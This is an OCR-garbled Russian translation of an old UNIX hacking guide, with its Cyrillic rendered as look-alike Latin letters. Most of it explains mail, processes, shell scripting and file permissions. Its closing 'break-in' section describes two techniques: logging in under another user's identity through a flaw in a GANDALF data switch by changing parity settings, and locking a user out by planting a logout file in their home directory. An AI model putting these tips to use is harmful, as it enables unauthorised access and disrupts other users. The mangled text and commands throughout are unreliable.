Ho He 3abuBaiite cede rosioBbl. Mbl MPOCTO OOBSCHSIEM MPUHIIUIIBI.
Ho ecnu yMHOro meiijiepa HET, TO Bbl IOJDKHBI 3HATD 10/1HbIU TTYTh K TOMY, KO-
My BBl XOTUTE IOCjaTh Mouyty. Hampumep, s xody mocjaTh COOOIICHHUE
K phiber. M ecniu ymHOro meiiepa HeT, TO 51 1OJDKEH MHUCaTh Tak:

$ mail sys'unisys!pacbell!sbell!sc1!att.com!sirhacksys
optik!phiber

MpuseT. Kak pena? Hy, wmHe nopa. [nWHHOE BbIWNO MUCbMELO, BEPHO?
(control-D)

$

Korma oH 3T0 coobIiieHre TTOIyInuT, B HeM OyaeT cTpok 20 mHpopma-
IIMM, 3TO HEYTO BPOJE MOYTOBBIX IITEMIICNICH BCEX CHCTEM, Yepe3 KOTOphIe
MOE€ COOOILIEHE TIPOIIUIO, a CTPOKA «OT KOT0» OYIET BhINISAETh TaK:

From optik!sirhacksys!att.com!sc1!sbell!pacbell
unisys!sys!sirhack <Sir Hack>

Jls MOCBUIKM JIOKAJbHOIO COOOILEHUsI AOCTAaTOYHO HabpaTh «mail
username», re username — JIOTHH MoJydyaTesis. 3aTeM HabepuTe coodIIeH e
U 3aBepiiure ero control-D.

Jns yTeHUst TOCTYNMBIIEN BaM MouThl mpocto BBeauTe mail. To ecTs:

$ mail

0T: scythian ............
Komy: sirhack ............
Tema: Well. ...

Hy, 6nuH!
?

Touku 0003HAYAIOT BCSIKYIO MIPOMNYIIeHHYI0 OpensatuHy. Kaxmnas Bep-
cus nporpaMMbl mail opopmiIsseT cBOM 3aroJIOBKU.

3Hak Bompoca — 3To noackaska. [Tociie Hero MoKHO BBECTH:
* d — ymanmutb
. fusername — mepeciarh KOIKIO K username

. w fname — 3anucarb cooblieHue B ¢aiti ¢ umeHeM fname
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* s fname — coxpaHUTb COOOIIEHKE C 3aTOJIOBKOM B (haiis
¢ umeHeM fname

* q — BBIATH/OOHOBUTH mail

* X — BBIITH, HO HUYETO HE MEHSITh

* m username — HarucaTbh COOOIIEHUE K username

* I — OTBETUTH OTIIPABUTEIIIO

* [enter] — mpouecTb cienyiollee CooOIIeHNe

* + — mepeiTH Ha OTHO COODIIEHNE JaJTbIIIe

* - — BEpHYTHCS Ha OJHO COOOIIeHME Ha3a

* h — pacrieyaTaTh 3aroJJOBKM COOOILIEHUI U3 TTOYTOBOTO

AlurKa.

Ectb u npyrue koManabl. YToObI YBUAETH UX TIEpeUYeHb, OOBIYHO BBO-
st '?'.

Ecnu BB ochbIIaeTe Mo4Ty KOMY-TO HEe U3 CBOEM CUCTEMBbI, TO OTBETa
MpUAETCS XIaTh AOJbIIE, TOTOMY YTO TYT BCEe OYyIeT Kak ¢ OOBIYHBIM IHCh-
MOM — €T0 JIOJIKEH 3a0paTh «IOUTaTboH». ISl mepenadyu mouThl CUCTEMa MO-
XKeT BbI3BaTh U Ucnoiab3oBath UUCP. O6p1yHo UUCP 3KkKayHTHI HUKOMY He
HYXHBI — €CJIM TOJIbKO y Bac He ucnosbdyercss UUCP, cnocoOHbIi TTepexBa-
ThIBaTh ITOYTY.

ps

IMporuecc. DTa KOMaHIa MO3BOJIET YBUAETh, YUTO UMEHHO BHI JiejIaeTe
B ornepaTuBHOM mamsaTH. [Ipyr KakaoM 3aIrycke MporpaMMbl el T Y9eTHBIX
ueneii HazHauaetcss Mnentudukarop Ilpouecca (P1D), u mosTomy ee MOXHO
OTCJICIUTD B MAMSITH, a TaKXKe 3aKPbITh — BaMM WJIM KOPHEBBIM ITOJIb30BaTe-
JieM. OOBIYHO KOMaH/1a PS B TIepeyHe MPOIECCOB MEPBOIA YKa3bIBACT UMSI 3aITy-
LIEHHOI BaMu 000J109KH. [lomycTrM, 5 BOIIIEI ITo JOrMHOM sirhack, nCIioib-
3ys1 000J104Ky «csh», 1 y MeHs paboTtaeT «watch scythian». [Iporpamma watch
nepeiierT B DOHOBBII PEeXUM, TO €CTh S CMOTY JIeJaTh YTO-TO JAPYyroe, rmoka
oHa paboraer:

$ ps

PID TTY NAME
122 001 ksh
123 001 watch
$

DTO COKpAIECHHBIN JIMCTUHT PS, BRIBOISAIIMICS 11O yMOJYaHMIO. B KO-
sonke TTY mepedncieHsl «tty» (YCTpOMCTBa BBOIA/BBIBOMA), Yepe3 KOTOPhIE
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ObLJT 3aMyIIEH process. DTo JeHCTBUTENbHO MOJE3HO 3HATh TOJBKO B TOM CJTy-
qae, €CJIM BbI UCTTIOJIb3yeTe CJIOU (CITOKOMHO!) Wiy 6oJiee OMHOTO MOJIb30BaTe-
JIS BOIIJTM B CUCTEMY C TeM Xe 3KKayHToM. KomaHna ps -f BRIIACT TTOJTHBII
JIMCTUHT TIPOIIECCOB, ITO3TOMY BMECTO KPaTKOTO «watch» BbI, CKOpee BCero,
yBuaute «watch scythian».

kill

IpepBath mporiecc. OUeBUIHO, YTO KOMaH/a UCIIONb3YETCs IS TIpe-
KpailleHus1 paboThl MPOrpamMMbl B MaMsITU. Bbl MoxkeTe MpepBaTh TOJbKO Te
MPOLIECChI, KOTOPBIMU BiafeeTe (Te, KOTOPbIe BbI 3aITyCTUIIN ), €CTU TOJIBKO BbI
He KOpHEeBOI moyib3oBaTesib wiu eciau Baml EUID He Takoii Xe, Kak U 'y Ipo-
1ecca, Kotopslit Bbl xotute nipepsath. (IIpo EUID noTtom). Eciiu Bbl nipepBe-
Te MpoLEecC 000JOUKH, TO BUIETUTE U3 cUcTeMBbI. [10o TOMY Xe MPUHIIUITY, eC-
JIA BBl BBIPYOUTE TIPOLIECC YbEi-TO 0OOJOUKU, TO 3TOT KTO-TO TOXE BBLUIETUT.
IMoaTomy, ecnu s BBeay «kill 122», To cuctema MeHs BbirtoHeT. OmgHako Kill
b mockutaeT UNIX curHai ¢ ykazaHueM «IpepBath poiecc». M eciu Bl
npuMmeHuTe cuHTakcuc «kill pid», To UNIX BeIpyOUT mpoliecc Toraa, Koraa
€My 3aX04YeTcsl, a TAKOe MOXKET He CJIIyYUThCS HUKOTAA. 3HAYUT, Bl MOXETe
camu onpeneasatb cpouyHocTb! [Tonpobyiite «kill -num pid» (num — 4ucio).

Kill -9 pid — 310 Ge3ycioBHOE M OUTH MTHOBEHHOE TIpEpPhIBAaHUE.

$ kill 122

$ kill 123

$ ps

PID TTY NAME
122 001 ksh
123 001 watch
$ kill -9 123
[123]: killed
$ kill -9 122
garbage

NO CARRIER

Brl Takske Moxxete BBecTH «Kill -1 0», 4TOOHI TIpepBaTh CBOIO 000JIOUKY
1 BBIUTH M3 CUCTEMBI. DTO TMOJIE3HO B CKPUIITAX.

AaBa 7.
MporpaMmmuposaHue 060A04KHU

[TporpammupoBaHue 00OJOUYKHU €CTh MO CYTH CO3[IaHUE «CKPUITOBO-
ro» haiiyia 1151 cTaHAapTHOM 00010UKHU, TO ecTh sh, ksh, csh uiu ux pasHoBuI-
HocTeil. BTo HeuTo Bpoje .bat ¢aiia MS-DOS, Ho Gosiee cioxHOro u 6ojee
riuokoro. OH MOXeT OKa3aThes MOJIE3HBIM B OTHOM acCIeKTe XaKepCTBa.
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Cr[epBa 3aliMeMcCs TepEMEHHBIMMU. HepCMeHHLIM, OYE€BUIAHO, MOXKHO
NPUCBOUTL 3HAYCHUA — KaK CUMBOJIbHBIC, TaM 1 YHUCJIOBBIC. Bpra)KCHI/Ie

number=1

MPUCBaUBAET MEPEMEHHOI «number» 3HaueHue 1.
string=Hi There

Wi

string="Hi There”

O06a BbIpaxkeHUS TPUCBAMBAIOT TEPEeMEHHOM string 3HayeHme «Hi
there».

OnHaKo MCTOJIb30BaHUE TIEPEMEHHOI — 3TO COBCeM Jpyroe neno. Ec-
JI BBl XOTUTE MCIOJIb30BaTh TIEPEeMEHHYIO, Tepel Heil MOIKEeH CTOSITh 3HaK
nosutapa ($). Takue nmepeMeHHbIE MOTYT OBITh UCIIOJIb30BAHBI B IIPOrpaMMax B
KayecTBe aprymMeHToB. Korma 6bUIO HamMcaHO, YTO CKPMITHI TOTOOHEI
bat-daiinaM, To IMeIOCh B BULY MMEHHO 3T0. B haitn ckpunra MOXKHO BBeC-
TH UM JTII0001 TTpOrpaMMBbl, ¥ OHa Oy/IeT UCToJIHeHa. BOT rmpocToit ckpumnT:

counter=1

argl="-uf"

arg2="scythian”

ps $arg? $arg?

echo $counter

DTOT CKPUIIT BBIMOJIHSET TPAHCISLMIO B «ps -uf scythian», a mocne 3a-
BeplleHuUsI paboThI IeyataeT «1». Echo BEIBOAUT Ha 3KpaH KaK TEKCTOBbIE, TaK
1 1 poBbIe KOHCTAHTHI.

Jpyrue KoMaHIbl U IPUMEPDI:

read
CuMTBIBACT YTO-JIMOO B TIEPEMEHHYIO.

®opwmart: read nepemenHas. 3mech 3HaK noyiapa He HyxxeH! Eciu s xo-
4y y3HATh Ybe-TO UM, TO MOTY HAITCATh:

echo "Kak Bawe uma?”
read hisname

echo Hello $hisname
Kak Bawe wma?

Sir Hackalot

MpuseT Sir Hackalot

3anomuume: read MOXET CUUTHIBATh U YMCJIOBbIC 3HAYCHMUSI.
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frap
OrtciexuBaeT MpUMMeHeHUe KeM-To KoMaH Ibl TipepbiBanust (Ctrl-c).
dopmMar:
trap «command; command; command; u T.g.»
IIpumep:
trap “echo 'Ourywku!! Tol Tak nerko oT MmeHa He wabaBuwbcs' ; echo

‘Mpupetca Tebe aTo npounTaTth! "

U reneps, ecu st Haxkmy control-¢ Bo Bpemst pabOThI CKpUIITa, TO YBU-
Ky Ha BKpaHe BOT 4TO:

Onrywkn! ! T Tak Nerko 0T MeHs He u30aBUWLCS
Npupetca Tebe 3TO npoynTaTh!

exit
®opmMar: exit [uucao]. ObecrieurBaeT BbIXOI M3 000JI0YKH, BO3BpAIliast
KOJl, PABHBIN «4UCITY».

CASE

BrimoHeHMe case OT00HO BEIGOPY M3 MeHI0. PopMaT KOMaHIbl WIN
CTPYKTYPHI TAKOB:

case nepemeHHas in
1) command;
command;

2) command;
command;

command;

*) command;

esac

Kaxmas yacTe MOXET UMETh JTII000€ KondecTBO KoMaHI. OgHako mo-
cJie TIoCJIeMHE KOMaHIbI TOJKHBI CTOSITH «;;». Bo3bMeM Takoe MeHIO:

echo "Bubepute:”

echo "(D)irectory (L)ogoff (S)hell”
read choice

case $choice in

D) echo "Coapaw paspen...";

1s -al ;;

L) echo Moka;

kill -1 0;

S) exit;

x) Echo "Ouubka! 9To He komaHma ";;
esac
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esac o0o3HavaeT KoHell pyHKIUM case. OH JOJKEH CTOSITh MOCTIe Ho-
cAeoHell KOMaHIbl.

AaBsa 8.
MetAan

Hrak, netim. Takux dbyHkuumii nse: netwiu for v retiu repeat.
ITeTnu repeat BLITJISIAAT TaK:
repeat HeuTO HeuTo 1 HeuTo2

DTa (PYHKIMS BBIMOJIHSET TMTOBTOPEHWE CEKIIMU BAILIETO CKPUIITA IS
KaX10ro «HeuTo». Ecam s Hanuy:

repeat scythian sirhack prophet
TO YBMIXY Ha CBOeM 3KpaHe scythian, 3atem sirhack, 3arem prophet.

[letns for onpenensercs Kkak
for 115 mepeMeHHOIi B 4eM-TO
do (menaii)

done (caenaHo)
MpUMep:

for counter in 1 2 3
do

echo $counter

done

BynyT BeIBeneHbI 3HaUeHUsI 1, 3aTeM 2, 3aTeM 3.

fAnaBa 9.
Ncnoab3soBaHue TEST

®opwmart: Test mepemMeHHAs oMU epeMeHHAs
Onuuy TaKOBBI:
* -eq = (paBHO)

* -ne <> (He paBHO)
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* -gt > (6oJblIE)

* -1t < (MeHbIIIE)

* -ge >= (0oJIbllIe WX PABHO)
* -le <= (MeHbllIe WU PABHO)
JLJ1st CTpOK 3TO:

* = eCJI1 paBHO

* = ecoii He paBHO

Ecnu BeIpaxkeHue BepHO, TO PYHKIIMS BO3BpallaeT Hojb. CMOTpUTE:
test 3 -eq 3

9TO O3HAYAET MPOBEPKY Ha BEPHOCTD BRIpakeHUsT 3 = 3, 1 OyIeT BbIBe-
JIeH HOJTb.

'hnasa 10.
EXPR

IMpumensieTcs g YnCIoBBIX (pyHKIIMIM. Kak mpaBuiio, BbI HE MOXeTe
MPOCTO HaIleyaTaTh:

echo 4 + 5
Y MOJIYYUTb OTBET. BBl JOJDKHBI HaMCaTh:

expr nepeMeHHas [uiM ynciio] onepaTop nepeMeHHas2 [WiaM yucio]
OnepaTopbl TAKOBHI:

* + croxeHue

* — BBIYUTAHUEC

* * YMHOXEHHE

* / neneHue

* * — cTerneHb (B HEKOTOPBIX CUCTEMAaX)
IIpumep:

expr 4 + 5

var = expr 4 + 5

var MoJjiyduT 3HaueHue 9.

B HekoTOpBIX cHCTeMax eXpr MHOTAA pacliedyaTbiBacT opmyay. Xody
MOSICHUTB, uTO 22+12 BoBce He TO Xe camoe, uTo 22 + 12. Eciiu Bbl BBeneTe:
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expr 22+12

TO YBUIUTE
22+12

A ecnu BBezeTe:
expr 22 + 12
TO YBUIUTE:

34

nasa 11.
CucrtemMHble nepemMeHHble

DTO nepeMeHHbBIE, UCTTOIb3yeMble 000JIOUKOM, 1 OHM OOBIYHO 3a1a10T-
¢ B CUCTeMHOM (aiine .profile.

HOME

Pacnonoxenue Bamiero home (momaiirHero) pasnesa.

PS1

Omnpenenser, KaK BHINIAIMT [TOICKa3Ka B KOMaHIHOM cTpoke. OGbIYHO
kaKk $. B BSD 3710 06b1YHO &.

PATH

ITytb moucka nporpamm. Koraa Bbl BBOAWUTE UMSI TTPOrpaMMBbl ISl ee
3aIycka, OHa HaxOIMUTCs He B ONEpPaTMBHOM MaMsITH, a Ha AMCKEe, U OJIKHA
OBITh CIlepBa OTTyAa 3arpyxkeHa. B ominunre ot MS-DOS, 60JIbILIMHCTBO KO-
MaHJ He HaXOAUTCs B MaMsTu. Eciiu mporpaMMa ykazaHa B IyTH MOMCKa, OHa
MOXeT ObITh 3amylieHa Ha UCTIOJHEHUe He3aBUCUMO OT TOTO, B KAKOM pasJie-
Jie Bbl HAXOIUTECh, a €CJIM He yKa3aHa, TO Bbl IOJKHBI 3aIyCKaTh €€ U3 pas/e-
Jia, TIe HaXoAuTcsl caMa nmporpamMa. [1yTb — 3To Mo cyTu nepeyeHb pasaeiosn,
B KOTOPOM MMEHa Pa3/ieioB OTACSIOTCS JBOETOUUSIMU. BOT TUIMYHBIA MyTh
roucka:

:/bin:/etc:/usr/lbin: $HOME:

Korma BbI MOIBITaeTECH 3aMyCTUTh MPOrpaMMy Ha BbIMTOTHeHHe, Unix
CTaHeT ee uckaTh B /bin, /etc, /usr, /Ibin u BailileM foMaliHeM pasjesie, U eciu
He HaiieT, BbIIacT coobiieHrue o6 ommbke. ITorck Mo pasaenaM MpOU3BO-
JIUTCSI B TOM hopsidke, B KAKOM OHM TepevrciieHbl. [ToaToMy eciiv y Bac B 10-
MalllHeM paseJsie eCTh TporpaMma ¢ iMeHeM «sh» U Bbl BBezieTe «sh», To davice
€CJIM BHI C/IeJIaeTe 3TO U3 JoMalIHero pasaena, Unix 3aIyCTUT Ha UCTIOJTHEHUE
nporpammy u3 pasaeia /bin. [ToaroMmy nytu ciieayeT 3agaBath ¢ yMoM. FOHUK-
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CHI TTyOJIMYHOTO JOCTYIIA IEJIAlOT 3TO 3a Bac, HO B CUCTEME, Ilie BBl paboTaeTe,
ITyTH MOTYT OBITh U HE YKa3aHBI.

TERM

Tun Bamero tepmuHana. FOHUKC umMeeT OMOIMOTEKY (DYHKLIMI C UMe-
HemM «CURSES», koTopas croco6Ha D0OMThCSI MaKCMMyma OT TepMMHAaja
JII0OOTO TUIA — TMPHU YCJIOBUH, YTO OOHAPYKUT COOTBETCTBYIOIIUE €SC-KOIbI.
Ecau Bbl paboraeTe ¢ 3KpaHHO-OPUMEHTUPOBAHHBIMU IMPOrpaMMaMM, TO
JIOJKHBI YCTAHOBUThH KaKKWe-TO MapaMeTphl AucIiies. TUIbl AUCIUIEeB U UX
esc-konbl Haxonatcs B ¢daiiie TERMCAP. Ho He 3abuBaiite cebe roJjioBy,
MpoCcTO ycTaHoBUTE cBoi aucruieii Ha ansi win vt100, CURSES nmact Bam
3HaTh, €CJIM HE CMOXKET MaHUITYJIMPOBATh IMYJISIIMEN BaIllero TepMUHaIA.

Aasa 12.
Komnuagarop C

Tyt s 6yny kpaTok. [Touemy? [ToTomy UTO €civ XOTUTE BBIYYUTHCS pa-
6otarh B C, TO MOWIUTE U KYNIUTE ceOe KHUTY. ¥ MEHs HET BPEMEHM IUCaTh
elle OJMH TeKCTOBbIN (aiin rnpo C, moToMy 4TO OH OyAeT OorpoMHbIM. boJib-
muHCTBO Tiporpamm nuietcs: Ha C. B KOHuKce ucxomaHble KOAbl TpOrpaMm
o0o3HauawTcs Kak umsAdaiina.c. s 3amycka UCXOMHUKA Ha KOMITWJISIIIAIO
JaiiTe KoMmaHy cc umsgaiina.c.

He Bce nporpammbl C cTaHYT KOMITUJIMPOBATHCS, TOTOMY YTO OHU MO-
I'YT 3aBUCETh OT APYTUX (DailioB, KOTOPBIX HET HA BallleM IMCKE, WU e 3TO He
MOJTHbIE UCXOJHUKHU, a JIMIIb MOAYJHU. ECM Bbl yBUAWTE HEUTO Ha3BaHHOE
«makefile», To B TaKux ciydasiXx 0OObIYHO MOCTaTOYHO HabpaTh «make» B KO-
MaHIHOM CTPOKE, M 3TO HEYTO CKOMITUIUPYETCS UM TTOTBITAETCSI CKOMITHIIY -
poBaThCSl.

3amyckast «make» MJI1 «CC», YMHBIE JIFOIM MOJIb3YIOTCS OTIEPaHIOM pa-
60TBI B (DOHOBOM pEXKMME, ITIOTOMY YTO MHOTIA KOMITWJISILIMS IJTUTCS O€3YMHO
TIOJITO.

IIpumep:

$ cc login.c&
[1234]
$

(1234 — 31O HOMED Ipoliecca, MO KOTOPLIM OH UACHTU(DULIMPYETCSI. )
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fAnaea 13.
danroBasg cucrema

OT0 MHCTpyMeHTabHas yacTh Unix. Eciu Bbl He moiimMeTe 3TOT pas-
JIeJT, BAaM HUKOTJa He yaacTes xakaTh Unix, TOTOMY YTO MHOTHE U3 TIPUKOJIOB
U IITYYeK TS «TTOTHSTHUS JOCTYIa» 3aBsSA3aHbl UMEHHO Ha (haifiJIoBYIO CHC-
TEMY.

J1J1s1 HayaJia MOrOBOPUM O CTPYKTYpe pasnesioB. I1o cytu 3To uepapxu-
yeckas (aitoBasi cucteMa, TO €CTh OHAa HauMHAeTCs B KOPHEBOM pasjiesie
U jgajnee BeTBUTCA, Kak B MS-DOS u, Bo3moxHo, B AmigaDos.

Bot Heuro Bpone nepeBa pasnenoB ((d) o6o3HavyaeT paznuen):

/ (KopHeBoii pa3zaen)

sirhack(d) scythian (d) prophet (d)
|
src (d)
Urak, sTa KOHKpPETHAsl CUCTEMA COAEPXKUT CIEAYIOLLME Pa3aebl:
/
/bin
/usr
/usr/sirhack
/usr/sirhack/src

/usr/scythian

® 6 6 6 O o o

/usr/prophet

Hanetoch, BBl TTOHSIM 3Ty TIaBKy. Bce mpom3spacraeT 3 KOPHEBOTO
paszena.
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AnaBa 14.
dannoBbie AONYCKMU

Hy, HakoHel-To moOpanuch 10 AeHCTBUTENBHO cepbe3Horo. Maiino-
BBI€ IOITycKU. YTO 3TO TaKoe, MOHATh HETPYIHO, HO 51 BCe pAaBHO OOBSICHIO TO-
IIpOOHO.

HTak, Tenepb Bbl JOJKHBI MBICJUThH KaTETOPUSIMU «TPYTIIIBI TTOJIb30Ba-
Telleil» U «MMeHa Tojb3oBaresieit». Kaxapiii npuHaniexxur K rpymmne. B ko-
MaHIHOM CTPOKe Bbl MOXETE IocJjie IToACKa3Ky (3HaKa Jojuiapa) Habpath «id»
U TTIOCMOTPETh, K KaKOMW I'pyIine Bbl MPUHAMIEXKUTe. [ pynIbl UCIIOAB3YIOTCS
ISl OpraHM3alvuy JoMycKa Mojib3oBaTesieli K onpeaeseHHbIM Beriam. Eciiu 6bt
UX He ObLIO, TO JIUIIb OJAVH YeJIOBEeK KOHTPOJIUPOBAI/UMeN Obl TOIMYCK K OIl-
peneneHHbIM aitiam. 3anoMHUTe Takxke, 4To Unix, onpeaensis 10CTyI, CMO-
tpuT Ha UID nmonb3oBaTensi, a HE Ha €ro UMsI.

Wnem nanbie. B ¢aitioBbIx 10myckax HET HUYETO CIOXHOTO. Y Kaxk-
noro (aiina ectb Biagenelr (owner). O0bIYHO (aiijioMm BiaeeT TOT, KTO €ro
co3/all, — CKOMMPOBaB (haiil WY Jaxke MPOCTO OTPEIAKTHPOBAB €Tro. 3armoM-
HUTE, YTO Biaaenell (aiina gokeH ObITh TeM, kKTo yrpapiaser CHOWN, mo-
CKOJIbKY OH €IMHCTBEHHBIN, KTO MOXET U3MEHMTH (DaittoBbie Aomycku. Kpo-
Me TOTO, €CTb ellle U BJaeell IPYIITbl — OOBIYHO 3TO TPYIIIa, B KOTOPOW BBI
HaXOIWJIUCh, Koraa daiin Obl1 co3aaH. 11 cMeHBI TpYTIIIbI, K KOTOPOii TIpu-
HaJUIEKUT (paifjl, Hy)KHO BBITIOJTHUTL KOMaHIy chgrp.

Hanee. @aiiabl MOTYT UMETh IOITYCKY Ha BBITIOJTHEHUE, YTCHUE WJTU 3a-
much. Ecim y Bac ecTh TOMYCK Ha BHITIOJTHEHUE, TO BBl 3HAETE, YTO BaM JIOCTa-
TOYHO HabpaTh UMSI TTPOTPAMMbl B KOMaHIHOM CTPOKE, W OHA BBITTOJTHUTCS.
Ecnm y Bac ecTh IOMYyCK Ha YT€HKE, TO Bbl, OUEBUIHO, MOXeTe (Daill YnuTaTh 1
JIeJIaTh BCE, YTO CBSI3aHO C UTEHWEM, — HalpuMep, KOIMMPOBaTh WY TieyaTaTh
ero. Ho ecnm y Bac #em noctyna Ha ureHue aiina, To Bbl HE CMOXKETe CIeIaTh
HUYEro, 9TO TpedyeT ero nmpoureHust. To Xe caMoe CpaBeUTUBO 1 JIJIST IOITY-
cKa Ha 3aruch. [lanee, Bce JOMyCKM AeATCS Ha Tpu Tpyniibl. [lepBas — morry-
cku Bianenbiia. OH MOXeT YCTAaHOBUTH cebe TOMYCKHU Ha YTEHWE 1 BBITIOJTHE-
HUe (aiiia, HO He Ha 3alUCh B HETO. DTO HE TMO3BOJUT €My YAAJIUTh TaKoil
daitn. Bropas — rpynmossie mommycku. Bo3sMeM 1151 mpuMepa Takoil pa3aed:

$ 1s -1 runme
r-xrwxr-- sirhack root 10990 March 21 runme

3mech «root» €CTh MMSI TPYMIbI, B KOTOPO HaxommTcs aii.
«sirhack» — Biagenen daitra. U eci y Tpyniisl «root» eCTh TOMYCKH Ha 4Te-
HMe, 3aIlMCh W BBIITOJIHEHME (hbailia, TO MMEHHO 3TO OHU U MOTYT C HUM Jie-
JaTh. CKaxkeM, Ha 3TOT (baiiy1 HaTKHyJICS Scythian, a OH MPUHAIISKUT K TPYII-
TTe TI0JIb30BaTesiell «root». Torma oH MoxXeT (haiil YUTaTh, 3aITMCHIBATH B HETO
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U BBITIOJTHSATh. A IOTOM (paiin o6Hapykui datawiz, HO OH U3 TPYIIIbI «IT0JIb30-
Barean». B TakoM ciydae TpynmnoBble JOMYCKW Ha HETO HE paclpOCTPaHSIOT-
cs1, MOTOMY OH HE MOXET TPOHYTb 3TOT (aiia, BepHo? Bpoae Toro. EcTh Tpe-
ThSl KaTEropusl TOIMYCKOB — JJIsl <«Ipyroi» TrpyImbl. DTO O3HAyaeT, 4To
JIOITYCKU B «IPYroii» TpymIme pacrpoCTPAHSIOTCS Ha BCEX, KPOME €€ BJIaJesb-
11a, U Ha IOJIb30BaTeJell U3 TOU K€ IpyIIbl, K KaKOW MPpUHAIIEKUT paii.
B3arisiHuTe Ha IMCTUHT pa3jiesia BBEPXY, U Bbl yBUAUTE CTPOUKY JOMYCKOB

r=X-Trwxr--
[lepBbie TpU cMMBOJIA O3HAYAIOT JOMYCKU IS Bajaesbla (r-x). (r-x)

TEePEeBOIUTCS KaK «IMTaTh 1 BBITIOJIHATH pa3peliaeTcsi, HO 3alMCchIBaTh B (paiii
HeJib3s1». Bropoit HaGop 13 Tpex CUMBOJIOB

r-xRWXr-

(TOT, YTO 3arJaBHBIMU OYKBaMM) €CTb IPYIIIIOBBIEC JOIIYCKU, X OHU O3-
HayaloT «9UTaThb, 3aMUCHIBATH U BHITIOJHSTH Pa3pelaeTcs».

Tpernii Habop
r-xrwxR--

eCTh JAOMYCKM ISt Bcex mpounX. OH O3HAYaeT «4UTaTh MOXHO, HO
0OJIBIIIE HUYETO».

JluctuHr paznena OyneT BhIMISIAETh MPUMEPHO TakK:

$ 1s -1

drwxr-xr-x sirhack root 342 March 11 src

Paznen momedeH OykBoii «d» B Havyasie CTpoku noryckoB. MTak, Bnamne-
Jiell paszena (sirhack) MoxeT uuTaTh U3 pasnesa, 3alichiBaTh B pa3aes v Bbl-
MOJIHATH TIporpaMMbl U3 pasneiia. KopHeBasi rpynma u Bce Mpoyre MOTYT
JINIIb YUTATh M3 paslieia U BHIMOJHSTh MPOrpaMMbl, HAXOASIIMECs BHE €ro.
[MoaTomy eciu s1 3ax04y cleaTh pas3iesl TOJIbKO BbIMOJHSIEMbIM, TO 3TO OyaeT
BBITJISIACTD TaK:

$ chmod go-r
$ 1s
drwx--x--x sirhack root 342 March 11 src

Ecnu teniepb B pa3nen 3aiiier KTo-To, Kpome «sirhack», To OH cMoXeT
JIVIIb BBITIOJHATH HAXOIAIIMECS TaM ITporpaMMbl. ECJiv OH 3amycTUT KOMaH-
1y Is, 4TOOBI BOIITH B pa3mel src, TO, OKa3aBIIMCh BHYTPU, YBUIUT COOOIICHME
«cannot read directory» (He Mory IpouecTtsb pasaen). Eciu B pasmeine ectb no-
CTYITHBII Is1 YTeHUs haiin, HO caM pasiesl UMeeT 3aIpeT Ha YTeHHe, TO MHO-
I71a BCe-TaKu ObIBa€T BO3MOXHO 3TOT (Paiijl IIPOYECTh.

Ecmu Y BaC HET AOITyCKa Ha BBLIMOJHCHHME B KaKOM-TO pasiacic, TO
B OOJIBILIMHCTBE CJIy4yaeB Bbl HE CMOXKETE 3aIlyCTUTh HU OHOM ITpOrpaMMbl U3
9TOro pasaeja.

104 B3Aaom Unix

BaAnoMm UNIX

'hnaea 1.
NMomHurel

B 11006011 MOMEHT Bac MOTYT 3ace4b OIlepaTOpPhl, HO Yallle BCEro X 3TO
MaJIo MHTepecyeT, JIM0o MH(GOpMaLIMs Ha UX MallIMHAX MEHSIETCSI TaK OBICTPO,
YTO OHM HE YCIIEBalOT CUMTHIBATD €€, & €CJIM K€ Bbl 3a0yIeTe CBOI Mapoib WiIu
TOTBITaETECh BOMTH B HEOCTYITHBIE BaM (haiiibl, TO CUCTEMa aBTOMATUYECKU
3aMuUIIeT BCE BAlllM ACHCTBUS... A HEKOTOPBIE CUCTEMBI BOOOIIE PETUCTPUPY-
0T BCE BalllX TEJIOJBMKEHMSI!

AaBa 2.
Kak 3apermctTpupoBaTbCS MOA HYXXUM
MMEeHeM

D10 — KiouyeBoir MoMeHT B3jioma cuctembl UNIX. Jdomyctum, Bbl
oracaeTech 3aHUMAaThCsI XaKUHTOM 11011 cobcTBeHHBIM [D. U K ToMy Xe Xea-
€Te MO BO3MOXHOCTH MCIOJIb30BaTh MPU KaXJIOM 3aX0Jie B CUCTEMY pa3Jiny-
HbIE ToJib3oBaTesibckue 1D.

Bbe3 Hekoero HayaabHOTO TOCTYMA K CUCTEME TTOJyYUTh UMST U TTapoJib
HeBo3MOoXHO. Uto ke genars? He 3a0niBaiite, uto GANDALF data switch ot-
HIOIb He coBepiueHeH. OauH U3 IISITU JOTMHOB 6e3 mpo0JieM MPOIyCTUT Bac
IO/ Yy>KUM UMeHeM. BaM ocTaeTcst TOJbKO MU3MEHUTb KOHTPOJIb 0 YeTHOCTH
(8N1 Ha E71), B To Bpems1 kKak GANDALF 3arpyxaer UNIX. Bam HaBepHsKa
yIACcTCs 3apeTUCTPUPOBATBLCS TAKUM 00pa3oM. M 3To mpom3oiineT u3-3a Toro,
YTO HEKOTOPHIE MOJIb30BATEIN UCTIOJb3YIOT TeleOHHbIE TUHUU T10 MX TIPsi-
MOMY Ha3HauYeHMIO, He 3aBEePIIMB paboTy Ha KOMITbIoTepe. Beerna cinenure 3a
TeM, YTOOBI 110 3aBepIICHUN pabOTHl 00513aTE€IbHO BBIATH U3 CUCTEMBI.

INapy nHeit Ha3an 4 Jie3 B CUCTEMY MOJ YyXKUM UMEHEM U, HETOHSITHO
rnovemy, He nojyuu gocryna. Ha moem MmoHuTope BbhicBeTHIMCH ciioBa «LOG
OFF», u g npocrto 6bU1 BEIOpOIIEH U3 cucTeMbl. [1o103peBaio, 4To YeoBekK,
YbUM UMEHEM $I BOCITOJIb30BAJICS, KaK Pa3 B TOT MOMEHT CUJieJ Ha TEPMUHAJIE,
yrpaBJisieMOM cyneprnoJjb3oBatesieM. M oH coobuimn SU (cynepnosib3oBaTe-
JII0) O TOM, YTO B CUCTEME MOSIBUJICS €r0 ABOMHUK (BO3MOXHO, OH YCTAaHOBUJI
9T0, ucnoib3ysd koManay WHO).
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AnaBa 3.
bAoOKupoBaHME

Eme takoit MomeHT. UNIX naet BO3MOXHOCTb 6JJOKMPOBATh HEKOTO-
PBIX MOJI30BATENICH U OTPAaHUYMUBATH UM JIOCTYIT K CUCTEME.

Jlist Havasa Bbl BhIOMpaeTe IpakdaHWHA, KOTOPOMY COOMpaeTech 3a-
KPBITh JOCTYI. 3aTeM MoMellaeTe B ero HaualbHBIM KaTaJor (TOT, KOTOPBIit
UNIX aBroMaTUuecKHu 3arpyxkaeT npu Bxoae B cucrteMy) ¢aiin VI.LOGIN.

VI.LOGIN nokeH BBHITJISIIETh IPUMEPHO TaK:

VI.LOGIN
logout

